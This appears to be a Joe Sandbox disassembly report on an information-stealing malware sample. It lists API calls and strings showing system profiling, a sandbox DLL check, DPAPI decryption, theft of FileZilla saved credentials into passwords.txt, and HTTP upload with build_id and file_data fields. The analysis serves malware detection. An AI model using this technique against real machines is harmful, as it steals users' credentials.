Function 00410DDB Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

GetKeyboardLayoutList.USER32(00000000,00000000,0043670D,?,?), ref: 00410E0C
LocalAlloc.KERNEL32(00000040,00000000), ref: 00410E1A
GetKeyboardLayoutList.USER32(00000000,00000000), ref: 00410E28
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200,00000000), ref: 00410E57

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

LocalFree.KERNEL32(00000000), ref: 00410EFF

Strings

/ , xrefs: 00410E73

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcatlstrlen
String ID: /
API String ID: 507856799-4001269591
Opcode ID: 4176af9426ca8c65a5d2d39e3f69b2d34f43a335228f72c7d4bc45651ce1b95f
Instruction ID: 98ad5db47aa5c0001f6daffa45158c7dc3aaf39aa7ec1d295977e7341d2d2e4d
Opcode Fuzzy Hash: 4176af9426ca8c65a5d2d39e3f69b2d34f43a335228f72c7d4bc45651ce1b95f
Instruction Fuzzy Hash: 53314F71900328AFCB20EF65DD89BDEB3B8AB04304F5045EAF519A3152D7B86EC58F64

Function 0041257F Relevance: 9.0, APIs: 6, Instructions: 37processCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 00412589
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,0000013C,00417F7B,.exe,00436CCC,00436CC8,00436CC4,00436CC0,00436CBC,00436CB8,00436CB4,00436CB0,00436CAC,00436CA8,00436CA4), ref: 004125A8
Process32First.KERNEL32(00000000,00000128), ref: 004125B8
Process32Next.KERNEL32(00000000,00000128), ref: 004125CA
StrCmpCA.SHLWAPI(?), ref: 004125DC
CloseHandle.KERNEL32(00000000), ref: 004125F0

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstH_prolog3_catch_HandleNextSnapshotToolhelp32
String ID:
API String ID: 1799959500-0
Opcode ID: f47c98c3e1c91f75858e12964c0db131b012c4349877da7a030af09ac4c69f93
Instruction ID: 8fd29eac0b97b57b29b6d4365dcb14f371c011a58ab206fcfa1fb590131ba033
Opcode Fuzzy Hash: f47c98c3e1c91f75858e12964c0db131b012c4349877da7a030af09ac4c69f93
Instruction Fuzzy Hash: 21018135A00224AFEB61DB609D48FEE77FE9F19301F4400E6E40DE2251EA798B849B35

Function 004080A1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,0040823B), ref: 004080C4
LocalAlloc.KERNEL32(00000040,0040823B,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080D8
LocalFree.KERNEL32(0040CB95,?,?,0040823B,0040CB95,?,?,?,?,?,?,?,0040CC90,?,?), ref: 004080FD

Strings

DPAPI, xrefs: 004080A9

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID: DPAPI
API String ID: 2068576380-1690256801
Opcode ID: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction ID: 09c146c598fe2db9e3360274f95d94fd5a71afecc77b7c133579c0d37eeb6d97
Opcode Fuzzy Hash: 68541e4e27b52eb825a4d6409286c391da9f85c95d41b42c5068ab7ee50209a7
Instruction Fuzzy Hash: 5901ECB5A01218EFCB04DFA8D88489EBBB9FF48754F158466E906E7341D7719F05CB90

Function 004114A5 Relevance: 6.1, APIs: 4, Instructions: 56processCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00436712,?,?), ref: 004114D4
Process32First.KERNEL32(00000000,00000128), ref: 004114E4
Process32Next.KERNEL32(00000000,00000128), ref: 00411542
CloseHandle.KERNEL32(00000000), ref: 0041154D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcpy
String ID:
API String ID: 907984538-0
Opcode ID: b717124d1b6440d5abd8696517bfefbdbba460058434ee57c5c57b05d098b9b3
Instruction ID: 2358bb5b3f35a3ad40a3a0386f4508cbb0988a8bb62faa6fc949f4816cf41d80
Opcode Fuzzy Hash: b717124d1b6440d5abd8696517bfefbdbba460058434ee57c5c57b05d098b9b3
Instruction Fuzzy Hash: E6117771A00214ABDB11EB65DC85BED73B9AB48304F400097F905A3251DB78AEC48B64

Function 00410D2E Relevance: 6.0, APIs: 4, Instructions: 35memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?), ref: 00410D49
HeapAlloc.KERNEL32(00000000), ref: 00410D50
GetTimeZoneInformation.KERNEL32(?), ref: 00410D5F
wsprintfA.USER32 ref: 00410D7D

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: aa6011d6ae7f68198777d67e64500c0ef630455287c68b41e54707e689605376
Instruction ID: 9c4555a76ba769696941e186a30169b52a42ac3e321656be180e5794a9869106
Opcode Fuzzy Hash: aa6011d6ae7f68198777d67e64500c0ef630455287c68b41e54707e689605376
Instruction Fuzzy Hash: C6F0E070A0132467EB04DBB4EC49B9B37799B04725F100295F511D71D0EB759E844795

Function 00410C53 Relevance: 4.5, APIs: 3, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004013B9), ref: 00410C5F
HeapAlloc.KERNEL32(00000000,?,?,?,004013B9), ref: 00410C66
GetUserNameA.ADVAPI32(00000000,004013B9), ref: 00410C7A

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
Opcode ID: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction ID: a2d0142ef4c2f8337792e91bc85231d42bd55b383edadc254ac7c872ecc74bf6
Opcode Fuzzy Hash: 51a8186674da40b627bafe0667fb054b0b372cb9ea4a64be279c17a6e1cb1c3a
Instruction Fuzzy Hash: 33D05EB6200208BBD7449BD5EC8DF8E7BBCEB85725F100265FA46D2290DAF099488B34

Function 00410FBA Relevance: 3.0, APIs: 2, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00410FD4
wsprintfA.USER32 ref: 00410FEC

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: bc587f4ff19bfb58b8b8354d1010e4f139cacf4c9d0fa74460da390e4a8c753e
Instruction ID: 34f53908faf426b5c9cd97adde2a4a918f960e6824188aa54f4cd522321a1d33
Opcode Fuzzy Hash: bc587f4ff19bfb58b8b8354d1010e4f139cacf4c9d0fa74460da390e4a8c753e
Instruction Fuzzy Hash: E4E092B0D1021DABCF04DF60EC459DE77FCEB08208F0054F5A505E3180D6B4AB888F44

Function 004014AD Relevance: 1.3, APIs: 1, Instructions: 40stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(?,?,?,?,?,?,00401503,avghookx.dll,0041868E), ref: 004014DF

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: b529297655fd12c0b63a16027a5c7bdef515ed443d31e096b8a78f326fd23762
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: C1F08C32A00150EBCF20CF59D804AAAFBB8EB43760F257065E809B3260C334ED11EA9C

Function 00405482 Relevance: 72.3, APIs: 25, Strings: 16, Instructions: 573
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

lstrlenA.KERNEL32(?), ref: 00405519

Part of subcall function 00411E5D: CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
Part of subcall function 00411E5D: GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
Part of subcall function 00411E5D: HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

StrCmpCA.SHLWAPI(?,00436986,0043697B,0043697A,0043696F), ref: 00405588
InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 004055AA
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 004056C0
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00405704
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 00405736

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

lstrlenA.KERNEL32(?,",file_data,00437850,------,00437844,?,",00437838,------,0043782C,12d962a0b4176a0c19c4e61c53bd20b5,",build_id,00437814,------), ref: 00405C67
lstrlenA.KERNEL32(?), ref: 00405C7A
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00405C92
HeapAlloc.KERNEL32(00000000), ref: 00405C99
lstrlenA.KERNEL32(?), ref: 00405CA6
_memmove.LIBCMT ref: 00405CB4
lstrlenA.KERNEL32(?,?,?), ref: 00405CC9
_memmove.LIBCMT ref: 00405CD6
lstrlenA.KERNEL32(?), ref: 00405CE4
lstrlenA.KERNEL32(?,?,00000000), ref: 00405CF2
_memmove.LIBCMT ref: 00405D05
lstrlenA.KERNEL32(?,?,00000000), ref: 00405D1A
HttpSendRequestA.WININET(?,?,00000000), ref: 00405D2D
HttpQueryInfoA.WININET(?,00000013,?,?,00000000), ref: 00405D6F
InternetReadFile.WININET(?,?,000007CF,?), ref: 00405E26
StrCmpCA.SHLWAPI(?,block), ref: 00405E3B
ExitProcess.KERNEL32 ref: 00405E46

Strings

", xrefs: 0040597B
------, xrefs: 0040573C
file_data, xrefs: 00405C09
", xrefs: 0040581B
------, xrefs: 00405605
--, xrefs: 00405600
------, xrefs: 0040589D
", xrefs: 00405AD8
ERROR, xrefs: 00405D79
block, xrefs: 00405E30
build_id, xrefs: 0040594F
12d962a0b4176a0c19c4e61c53bd20b5, xrefs: 004059A7
------, xrefs: 00405B5D
------, xrefs: 004059FF
", xrefs: 00405C35
ERROR, xrefs: 00405F2F

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$Internetlstrcpy$Heap$HttpProcess_memmove$AllocOpenRequestlstrcat$BinaryConnectCrackCryptExitFileInfoOptionQueryReadSendString
String ID: ------$"$"$"$"$--$------$------$------$------$12d962a0b4176a0c19c4e61c53bd20b5$ERROR$ERROR$block$build_id$file_data
API String ID: 2638065154-1067569799
Opcode ID: 46bec9daaa376a721d5f5d199fb03364ef64c3ffef55f98d018b295e9b096bb4
Instruction ID: 26f63bb4b74f1a4fe5648f2493c667f7f0a747346ed033b9145d872dd4f23224
Opcode Fuzzy Hash: 46bec9daaa376a721d5f5d199fb03364ef64c3ffef55f98d018b295e9b096bb4
Instruction Fuzzy Hash: 5742E671D401699BDF21FB21DC45ADDB3B9BF04308F0085E6A548B3152DAB86FCA9F98

Function 0040E6CF Relevance: 70.3, APIs: 30, Strings: 10, Instructions: 289
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

Part of subcall function 00411DBC: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,?), ref: 00411DFD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,00417733,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417204,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171E6,00436C18,00000000,004366CD,?,?,?,?,004186D9), ref: 00410650

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

strtok_s.MSVCRT ref: 0040E77E
GetProcessHeap.KERNEL32(00000000,000F423F,00436912,0043690F,0043690E,0043690D), ref: 0040E7C4
HeapAlloc.KERNEL32(00000000), ref: 0040E7CB
StrStrA.SHLWAPI(00000000,<Host>), ref: 0040E7DF
lstrlenA.KERNEL32(00000000), ref: 0040E7EA
StrStrA.SHLWAPI(00000000,<Port>), ref: 0040E81E
lstrlenA.KERNEL32(00000000), ref: 0040E829
StrStrA.SHLWAPI(00000000,<User>), ref: 0040E857
lstrlenA.KERNEL32(00000000), ref: 0040E862
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 0040E890
lstrlenA.KERNEL32(00000000), ref: 0040E89B
lstrlenA.KERNEL32(?), ref: 0040E901
lstrlenA.KERNEL32(?), ref: 0040E915
lstrlenA.KERNEL32(0040ECBC), ref: 0040EA3D

Part of subcall function 00416FE1: CreateThread.KERNEL32(00000000,00000000,00416F10,?,00000000,00000000), ref: 00417080
Part of subcall function 00416FE1: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00417088

Strings

<User>, xrefs: 0040E851
Login: , xrefs: 0040E98C
Soft: FileZilla, xrefs: 0040E948
passwords.txt, xrefs: 0040EA4D
<Port>, xrefs: 0040E818
<Host>, xrefs: 0040E7D9
Host: , xrefs: 0040E954
Password: , xrefs: 0040E9AE
<Pass encoding="base64">, xrefs: 0040E88A
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 0040E71F

Memory Dump Source

Source File: 00000003.00000002.2188739837.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2188739837.0000000000481000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C0000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.00000000004E4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000503000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.000000000065D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2188739837.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$AllocFile$CreateHeapLocallstrcat$CloseFolderHandleObjectPathProcessReadSingleSizeThreadWaitstrtok_s
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$Host: $Login: $Password: $Soft: FileZilla$\AppData\Roaming\FileZilla\recentservers.xml$passwords.txt
API String ID: 4146028692-935134978
Opcode ID: d402155b98472abf9eebae6cfb0b319dc7e596369bad0c81706b79ad4c49f08b
Instruction ID: bdb0ce095fb38334b24f51a716845a6e493f74082064f25eb11227582021e93f
Opcode Fuzzy Hash: d402155b98472abf9eebae6cfb0b319dc7e596369bad0c81706b79ad4c49f08b
Instruction Fuzzy Hash: 83A17572A40219BBCF01FBA1DD4AADD7775AF08305F105426F501F30A1EBB9AE498F99

Function 00406BB5 Relevance: 63.6, APIs: 20, Strings: 16, Instructions: 598
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,0041776B), ref: 00410538

Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AE8
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
Part of subcall function 00404AB6: ??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
Part of subcall function 00404AB6: lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
Part of subcall function 00404AB6: InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,004171C5,004366CD,?,?,?,?,004186D9), ref: 0041050D

InternetOpenA.WININET(?,00000001,00000000,00000000,00000000), ref: 00406C54
StrCmpCA.SHLWAPI(?), ref: 00406C72
InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406E0A
HttpOpenRequestA.WININET(?,?,00000000,00000000,?,00000000), ref: 00406E4E
lstrlenA.KERNEL32(?,",status,00437998,------,0043798C,",task_id,00437978,------,0043796C,",mode,00437958,------,0043794C), ref: 0040753C
lstrlenA.KERNEL32(?), ref: 0040754B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00407556
HeapAlloc.KERNEL32(00000000), ref: 0040755D
